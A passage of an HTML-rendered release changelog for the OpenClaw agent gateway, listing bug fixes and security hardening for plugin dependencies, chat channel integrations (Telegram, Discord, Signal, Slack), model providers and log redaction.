<p>Agents/session-repair: fix resumed sessions failing with repeated 400 errors on Anthropic and strict OpenAI-compatible providers (Qwen, mlx-vlm) after an interrupted conversation or blank user input. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361379280" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75271" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75271/hovercard" href="https://github.com/openclaw/openclaw/issues/75271">#75271</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362043132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75313" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75313/hovercard" href="https://github.com/openclaw/openclaw/issues/75313">#75313</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>CLI/Voice Call: scope <code>voicecall</code> command activation to the Voice Call plugin so setup and smoke checks no longer broad-load unrelated plugin runtimes or hang after printing JSON. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Doctor/plugins: warn when restrictive <code>plugins.allow</code> is paired with wildcard or plugin-owned tool allowlists, making the exclusive plugin allowlist behavior visible before users hit empty callable-tool runs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174851981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58009" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58009/hovercard" href="https://github.com/openclaw/openclaw/issues/58009">#58009</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245604493" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64982/hovercard" href="https://github.com/openclaw/openclaw/issues/64982">#64982</a>. Thanks @KR-Python and @BKF-Gitty.</p>
</li>
<li>
<p>Google Meet/Voice Call: keep Twilio Meet joins in conversation mode and reuse the realtime intro prompt when no voice-call-specific intro is configured, so answered phone bridge calls speak instead of joining silently. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Auto-reply/group chats: keep the <code>message</code> tool available for message-tool-only visible replies and apply group-scoped tool policy before deciding fallback delivery, so Discord/Slack-style rooms reply visibly in the correct channel after upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355291678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74842" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74842/hovercard" href="https://github.com/openclaw/openclaw/issues/74842">#74842</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360452638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75207" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75207/hovercard" href="https://github.com/openclaw/openclaw/issues/75207">#75207</a>. Thanks @davelutztx and @aa-on-ai.</p>
</li>
<li>
<p>Agents/commitments: keep inferred follow-ups internal when heartbeat target is none, strip raw source text from stored commitments, disable tools during due-commitment heartbeat turns, bound hidden extraction queue growth, expire stale commitments, and add QA/Docker safety coverage. Thanks @vignesh07.</p>
</li>
<li>
<p>Telegram/agents: keep typing indicators and optional generation tools off the reply critical path, so fresh Telegram replies no longer stall while provider catalogs and media models load. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362421293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75360" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75360/hovercard" href="https://github.com/openclaw/openclaw/pull/75360">#75360</a>) Thanks @obviyus.</p>
</li>
<li>
<p>Agents/commitments: run hidden follow-up extraction on the configured agent/default model instead of falling back to direct OpenAI, so OpenAI Codex OAuth-only gateways no longer spam background API-key failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362274024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75334" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75334/hovercard" href="https://github.com/openclaw/openclaw/issues/75334">#75334</a>. Thanks @sene1337.</p>
</li>
<li>
<p>Agents/media: keep async music generation completions on the requester-session wake path even when direct-send completion is enabled, so finished audio stays agent-mediated while video can still opt into direct channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362275213" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75335" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75335/hovercard" href="https://github.com/openclaw/openclaw/pull/75335">#75335</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Security/config-audit: redact CLI argv and execArgv secrets before persisting config audit records, covering write, observe, and recovery paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204612186" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60826" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60826/hovercard" href="https://github.com/openclaw/openclaw/issues/60826">#60826</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koshaji/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koshaji">@koshaji</a>.</p>
</li>
<li>
<p>Gateway/models: keep default and configured model-list views responsive when provider catalog discovery stalls, without hiding real catalog load failures, while <code>--all</code> still waits for the exact full catalog. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361752617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75297" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75297/hovercard" href="https://github.com/openclaw/openclaw/issues/75297">#75297</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351397259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74404" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74404/hovercard" href="https://github.com/openclaw/openclaw/issues/74404">#74404</a>. Thanks @lisandromachado and @najef1979-code.</p>
</li>
<li>
<p>Plugins/runtime-deps: accept already materialized package-level runtime-deps supersets as converged, so later lazy plugin activation no longer prunes and relaunches <code>pnpm install</code> after gateway startup pre-staging, reducing event-loop pressure from repeated runtime-deps repair on packaged installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361752617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75297" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75297/hovercard" href="https://github.com/openclaw/openclaw/issues/75297">#75297</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks @brokemac79, @lisandromachado, and @midhunmonachan.</p>
</li>
<li>
<p>Plugins/runtime-deps: remove OpenClaw-owned legacy runtime-deps symlinks before replacing staged bundled plugin dependencies, so updates can recover from older symlinked installs instead of failing the symlink safety guard. Thanks @goldmar.</p>
</li>
<li>
<p>Discord: retry queued REST 429s against learned bucket/global cooldowns and reacquire fresh voice upload URLs after CDN upload rate limits, so outbound sends recover without reusing stale single-use upload URLs. Thanks @discord.</p>
</li>
<li>
<p>TTS/providers: keep bundled speech-provider compat fallback available when plugins are globally disabled, so cold gateway and CLI startup can still resolve fallback speech providers instead of leaving explicit TTS provider selection with no registered providers. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361272168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75265" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75265/hovercard" href="https://github.com/openclaw/openclaw/pull/75265">#75265</a>. Thanks @sliekens.</p>
</li>
<li>
<p>Discord: collapse repeated native slash-command deploy rate-limit startup logs into one non-fatal warning while keeping per-request REST timing in verbose output. Thanks @discord.</p>
</li>
<li>
<p>Discord: report native slash-command deploy aborts as REST timeouts with method, path, timeout budget, and observed duration, so startup logs explain slow Discord API calls instead of showing a generic aborted operation. Thanks @discord.</p>
</li>
<li>
<p>Security/logging: redact payment credential field names such as card number, CVC/CVV, shared payment token, and payment credential across default log and tool-payload redaction patterns so wallet-style MCP tools do not expose raw payment credentials in UI events or transcripts. Thanks @stainlu.</p>
</li>
<li>
<p>Providers/OpenAI Codex: preserve existing wrapped Codex streams during OpenAI attribution so PI OAuth bearer injection reaches ChatGPT/Codex Responses, and strip native Codex-only unsupported payload fields without touching custom compatible endpoints. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358840684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75111" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75111/hovercard" href="https://github.com/openclaw/openclaw/pull/75111">#75111</a>) Thanks @keshavbotagent.</p>
</li>
<li>
<p>Plugins/runtime-deps: materialize newly required bundled plugin packages after local <code>openclaw onboard</code> and <code>openclaw configure</code> config writes, while keeping remote setup read-only, so first Gateway startup no longer discovers missing channel/provider deps after setup claimed success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @scottgl9 and @xiaohuaxi.</p>
</li>
<li>
<p>Plugins/runtime-deps: expire stale legacy install locks whose live PID cannot be tied to the current process incarnation, so Docker PID reuse no longer leaves bundled dependency repair stuck behind old <code>.openclaw-runtime-deps.lock</code> directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356320468" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74948/hovercard" href="https://github.com/openclaw/openclaw/issues/74948">#74948</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356328081" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74950" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74950/hovercard" href="https://github.com/openclaw/openclaw/pull/74950">#74950</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350782800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74346" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74346/hovercard" href="https://github.com/openclaw/openclaw/issues/74346">#74346</a>. Thanks @dchekmarev.</p>
</li>
<li>
<p>Plugins/runtime-deps: recover interrupted bundled runtime-dependency installs whose package sentinels exist but generated materialization is incomplete, forcing npm/pnpm repair in Gateway startup, doctor, and lazy plugin loads instead of leaving channels crash-looping on missing packages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361991170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75310" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75310/hovercard" href="https://github.com/openclaw/openclaw/pull/75310">#75310</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361740220" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75296" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75296/hovercard" href="https://github.com/openclaw/openclaw/issues/75296">#75296</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361883653" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75304" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75304/hovercard" href="https://github.com/openclaw/openclaw/issues/75304">#75304</a>. Thanks @scottgl9.</p>
</li>
<li>
<p>Plugins/runtime-deps: treat no-main and export-map package sentinels without reachable entry files as incomplete, so Gateway startup, doctor, and lazy plugin loads repair interrupted bundled dependency installs instead of accepting package.json-only partial installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360048495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75183/hovercard" href="https://github.com/openclaw/openclaw/pull/75183">#75183</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: keep runtime inspection and channel maintenance commands from downloading bundled plugin dependencies, route explicit repairs through <code>openclaw plugins deps --repair</code>, and still allow Gateway/DO paths to repair missing deps before import. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @xiaohuaxi.</p>
</li>
<li>
<p>Updates: force non-deferred, no-cooldown update restarts after package-manager updates requested through the live Gateway control plane and fail release validation on post-swap stale chunk import crashes, so Telegram/Discord imports do not stay pointed at removed dist files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360403986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75206/hovercard" href="https://github.com/openclaw/openclaw/issues/75206">#75206</a>. Thanks @xonaman and @faux123.</p>
</li>
<li>
<p>Agents/tool-result guard: use the resolved runtime context token budget for non-context-engine tool-result overflow checks, so long tool-heavy sessions no longer compact early when <code>contextTokens</code> is larger than native <code>contextWindow</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355916636" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74917" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74917/hovercard" href="https://github.com/openclaw/openclaw/issues/74917">#74917</a>. Thanks @kAIborg24.</p>
</li>
<li>
<p>Gateway/systemd: exit with sysexits 78 for supervised lock and <code>EADDRINUSE</code> conflicts so <code>RestartPreventExitStatus=78</code> stops <code>Restart=always</code> restart loops instead of repeatedly reloading plugins against an occupied port. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358976301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75115/hovercard" href="https://github.com/openclaw/openclaw/issues/75115">#75115</a>. Thanks @yhyatt.</p>
</li>
<li>
<p>Agents/runtime: skip blank visible user prompts at the embedded-runner boundary before provider submission while still allowing internal runtime-only turns and media-only prompts, so Telegram/group sessions no longer leak raw empty-input provider errors when replay history exists. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348363760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74137" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74137/hovercard" href="https://github.com/openclaw/openclaw/issues/74137">#74137</a>. Thanks @yelog, @Gracker, and @nhaener.</p>
</li>
<li>
<p>Agents/Codex: isolate local Codex app-server <code>CODEX_HOME</code> and <code>HOME</code> per agent and add a deliberate Codex migration path with selectable skill copies, so personal Codex CLI skills, plugins, config, and hooks no longer leak into OpenClaw agents unless the operator migrates them into the workspace. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Security/Nextcloud Talk: make webhook signature validation use the padded timing-safe compare path even when the supplied signature length is wrong, keep normalized header lookup behavior, and extend regression coverage for tampered bodies, wrong secrets, array-backed headers, and truncated signatures. Carries forward earlier contributor work from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4102742606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50516/hovercard" href="https://github.com/openclaw/openclaw/pull/50516">#50516</a> by teddytennant. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175383760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58097" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58097/hovercard" href="https://github.com/openclaw/openclaw/pull/58097">#58097</a>) Thanks @gavyngong.</p>
</li>
<li>
<p>Plugins/runtime-deps: replace stale symlinked mirror target roots before writing runtime-mirror temp files and skip rewriting already materialized hardlinks, so cross-version container upgrades no longer crash-loop on read-only image-layer paths while warm mirrors do less churn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358776355" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75108" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75108/hovercard" href="https://github.com/openclaw/openclaw/issues/75108">#75108</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coletebou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coletebou">@coletebou</a> and @xiaohuaxi.</p>
</li>
<li>
<p>Auto-reply/group chats: fall back to automatic source delivery when a channel precomputes message-tool-only replies but the <code>message</code> tool is unavailable, so Discord/Slack-style group turns do not silently complete without a visible reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355462791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74868/hovercard" href="https://github.com/openclaw/openclaw/issues/74868">#74868</a>. Thanks @kagura-agent.</p>
</li>
<li>
<p>Browser/gateway: share one browser control runtime across the HTTP control server and <code>browser.request</code>, and refresh browser profile config from the source snapshot, so CLI status/start honors configured <code>browser.executablePath</code>, <code>headless</code>, and <code>noSandbox</code> instead of falling back to stale auto-detection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358368287" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75087" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75087/hovercard" href="https://github.com/openclaw/openclaw/issues/75087">#75087</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344146532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73617" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73617/hovercard" href="https://github.com/openclaw/openclaw/issues/73617">#73617</a>. Thanks @civiltox and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</p>
</li>
<li>
<p>Agents/subagents: bound automatic orphan recovery with persisted recovery attempts and a wedged-session tombstone, and teach task maintenance/doctor to reconcile those sessions so restart loops no longer require manual <code>sessions.json</code> surgery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355427349" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74864" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74864/hovercard" href="https://github.com/openclaw/openclaw/issues/74864">#74864</a>. Thanks @solosage1.</p>
</li>
<li>
<p>Plugins/runtime-deps: keep bundled provider policy config loading from staging plugin runtime dependencies, so config reads no longer fail on locked-down <code>/var/lib/openclaw/plugin-runtime-deps</code> directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356579392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74971" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74971/hovercard" href="https://github.com/openclaw/openclaw/issues/74971">#74971</a>. Thanks @eurojojo.</p>
</li>
<li>
<p>Memory/runtime-deps: retain the native <code>node-llama-cpp</code> runtime only when local memory search is configured, so packaged installs can repair local embeddings without relying on unreachable global npm installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355063600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74777/hovercard" href="https://github.com/openclaw/openclaw/issues/74777">#74777</a>. Thanks @LLagoon3.</p>
</li>
<li>
<p>Gateway/startup: skip pre-bind web-fetch provider discovery for credential-free <code>tools.web.fetch</code> config, so Docker/Kubernetes gateways bind even when optional fetch limits are present. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355733598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74896" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74896/hovercard" href="https://github.com/openclaw/openclaw/issues/74896">#74896</a>. Thanks @KoykL.</p>
</li>
<li>
<p>Signal: match group allowlists against inbound Signal group ids as well as sender ids, and process explicitly configured Signal groups without requiring mentions unless <code>requireMention</code> is set. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4124822798" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53308" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53308/hovercard" href="https://github.com/openclaw/openclaw/issues/53308">#53308</a>. Thanks @minupla and @juan-flores077.</p>
</li>
<li>
<p>Signal: bound <code>signal-cli</code> installer release and archive downloads with explicit timeouts, declared and streamed size checks, and partial-file cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131804194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54153" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54153/hovercard" href="https://github.com/openclaw/openclaw/issues/54153">#54153</a>. Thanks @jinduwang1001-max and @juan-flores077.</p>
</li>
<li>
<p>Slack: require bot-authored room messages with <code>allowBots=true</code> to come from an explicitly channel-allowlisted bot or from a room where an explicit Slack owner is present, so broad bot relays cannot run unattended. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190405125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59284/hovercard" href="https://github.com/openclaw/openclaw/issues/59284">#59284</a>. Thanks @andrewhong-translucent.</p>
</li>
<li>
<p>Signal: derive <code>getAttachment</code> HTTP response caps from <code>channels.signal.mediaMaxMb</code> with base64 headroom, so inbound photos and videos no longer drop behind the 1 MiB RPC default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343275028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73564" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73564/hovercard" href="https://github.com/openclaw/openclaw/issues/73564">#73564</a>. Thanks @heyhudson.</p>
</li>
<li>
<p>Signal: keep the long-lived receive SSE monitor open while idle instead of applying the 10s RPC/check deadline, so <code>signal-cli</code> 0.14.3 event streams no longer reconnect before inbound messages arrive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354790687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74741/hovercard" href="https://github.com/openclaw/openclaw/issues/74741">#74741</a>. Thanks @fgabelmannjr and @k7n4n5t3w4rt.</p>
</li>
<li>
<p>CLI/progress: suppress nested progress spinners and line clears while TUI input owns raw stdin, so Crestodian <code>/status</code> no longer disturbs the active input row. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356940813" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75003" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75003/hovercard" href="https://github.com/openclaw/openclaw/pull/75003">#75003</a>) Thanks @velvet-shark.</p>
</li>
<li>
<p>Models/OpenAI Codex: restore <code>openai-codex/gpt-5.4-mini</code> for ChatGPT/Codex OAuth PI runs after live OAuth proof, and align the manifest, forward-compat metadata, docs, and regression tests so stale cron and heartbeat configs resolve again. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351824827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74451/hovercard" href="https://github.com/openclaw/openclaw/issues/74451">#74451</a>. Thanks @0xCyda, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and @Marvae.</p>
</li>
<li>
<p>Plugins/runtime-deps: always write a dependency map in generated runtime-deps install manifests, so npm does not crash or prune staged bundled-plugin packages when the plan is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356326245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74949" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74949/hovercard" href="https://github.com/openclaw/openclaw/issues/74949">#74949</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Telegram: use durable message edits for streaming previews instead of native draft state, so generated replies no longer flicker through draft-to-message transitions that look like duplicates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358015486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75073/hovercard" href="https://github.com/openclaw/openclaw/pull/75073">#75073</a>) Thanks @obviyus.</p>
</li>
<li>
<p>Telegram: echo preflighted DM voice-note transcripts back to the originating chat, including Telegram DM topic thread metadata, instead of only echoing later media-understanding transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358306338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75084" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75084/hovercard" href="https://github.com/openclaw/openclaw/issues/75084">#75084</a>. Thanks @M-Lietz.</p>
</li>
<li>
<p>Telegram: clamp low long-polling client timeouts so configured <code>timeoutSeconds</code> values below the <code>getUpdates</code> poll window no longer force a fresh HTTPS connection every few seconds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358955789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75114" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75114/hovercard" href="https://github.com/openclaw/openclaw/issues/75114">#75114</a>. Thanks @hpinho77.</p>
</li>
<li>
